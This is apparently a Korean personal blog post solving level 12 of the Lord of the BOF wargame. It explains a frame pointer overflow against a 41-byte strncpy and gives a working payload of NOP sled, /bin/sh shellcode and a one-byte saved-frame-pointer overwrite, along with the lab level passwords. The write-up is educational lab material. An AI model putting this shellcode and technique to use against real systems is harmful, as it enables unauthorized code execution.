yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

LOB 12번 풀이 (golem) 본문

wargame 풀이/LOB

LOB 12번 풀이 (golem)

yehey 2020. 12. 30. 00:40
id: golem
pw: cup of coffee
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
        char buffer[40];
        strncpy(buffer, src, 41);
        printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
        if(argc<2){
                printf("argv error\n");
                exit(0);
        }

        problem_child(argv[1]);
}

 

  • 함수 problem_child 에서 취약점 발생
  • argc<2
  • strncpy로 복사하는 바이트 수를 41바이트로 제한
  • 힌트: FPO

먼저 힌트로 FPO라고 적혀 있어서 FPO를 구글링 해보았다.

 

FPO (Frame Pointer Overflow)
SFP를 overwrite해서 eip를 변조하고 공격하는 방법
함수의 에필로그 과정에서 취약점 발생

FPO 조건
-main함수 외에 다른 서브함수가 필요
-서브함수에서 overflow가 일어나야 함

 

우리는 sfp를 적절하게 수정해서 return address를 buffer로 수정해줄 것이다.

그 전에 darkknight를 tmp로 복사해서 gdb를 이용해서 stack을 분석해보자

 

전반적인 어셈블리어의 흐름은 위와 같고

problem_child+33에 breakpoint를 걸어서 darkknight를 실행해보자

그리고 스택을 확인해보면

 

buffer가 시작되는 곳은 0x41414141이 계속 저장된 0xbffffabc+0x8=0xbffffac4 라는 것을 알 수 있다.

그런데 buffer 바로 앞에 0xbffffac4 즉, buffer의 주소가 저장되어 있다.

한마디로 buffer-4에 buffer의 시작 주소가 저장되어 있다. 

그리고 초록색 부분이 1바이트가 A로 수정된 sfp가 된다.

 

우리는 FPO 기법을 이용, buffer 시작 주소로 eip를 바꾸려고 한다.

과정은 다음과 같다.

 

만약 PC(program_child)함수의 sfp가 바뀌지 않았다면 검은색 순서대로 흘러갔겠지만

sfp가 buffer-8의 주소를 담도록 수정하면 핑크색 순서대로 흘러갈 것이다.

물론 이 과정에서 2번 과정은 동일하게 실행된다! (PC의 ret는 바뀌지 않았기 때문에)

 

따라서 buffer의 41바이트를 NOP+쉘 코드+수정할 sfp의 1바이트 로 구성하면 성공적으로 쉘 코드가 실행되게 할 수 있다.

물론 이 과정에서 sfp는 마지막 1바이트만 바꿀 수 있다. (이 말은 곧 멀리 떨어진 주소로는 이동할 수 없다와 같다.)

 

buffer-8의 주소는 0xbffffabc이기 때문에 argv[1]의 마지막에 bc를 전달해주면 된다.

 

하지만 tmp에서 실행한 주소와 차이가 있어 위와 같은 오류가 발생했다.

따라서 실제 darkknight를 실행했을 때 buffer주소를 알아내야 한다.

darkknight를 darkknight2로 복사하고 program_child의 print문을 %s가 아닌 %x로 바꾸어 buffer 시작 주소를 알아내보았다.

 

실제 buffer 시작주소가 0xbffffab4이면 buffer-8은 0xbffffaac가 된다.

따라서 마지막 바이트에 ac 를 전달하면 된다

 

payload: ./darkknight `python -c 'print "\x90"*15+ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xac"'`

 

 

darkknight의 pw: "new attacker"

'wargame 풀이 > LOB' 카테고리의 다른 글

LOB 14번 풀이 (bugbear)  (0) 2020.12.31
LOB 13번 풀이 (darkknight)  (0) 2020.12.30
LOB 11번 풀이 (skeleton)  (0) 2020.11.24
LOB 10번 풀이 (vampire)  (0) 2020.11.22
LOB 9번 풀이 (troll)  (0) 2020.11.21
Comments